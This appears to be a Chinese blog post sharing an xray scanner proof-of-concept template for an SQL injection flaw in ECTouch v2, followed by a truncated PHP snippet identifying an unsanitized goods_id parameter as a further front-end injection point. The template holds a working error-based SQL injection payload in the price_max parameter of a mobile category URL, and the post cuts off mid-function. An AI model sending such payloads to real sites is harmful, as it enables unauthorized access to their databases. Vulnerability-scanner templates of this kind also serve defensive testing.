xray完美插件poc-yaml-etouch-v2-sqli

原始yml:name: poc-yaml-etouch-v2-sqli

name: poc-yaml-etouch-v2-sqli
rules:
  - method: GET
    path: >-
      /upload/mobile/index.php?c=category&a=asynclist&price_max=1.0%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)'
    expression: |
      response.status == 200 && response.body.bcontains(b"c4ca4238a0b923820dcc509a6f75849b")
detail:
  author: MaxSecurity(https://github.com/MaxSecurity)
  links:
    - https://github.com/mstxq17/CodeCheck/




这个要做前台无限制sql注入:

前台FLOW cart_label_count $goods_id 半限制SQL注入

public function cart_label_count(){
    $goods_id  = I('goods_id',''); //没有intval处理
    $parent_id  = I('parent_id',''); 
    if($parent_id ){
        $shop_price = $this->m

你可能感兴趣的:(算法模型,信息处理,数据库,sql,servlet)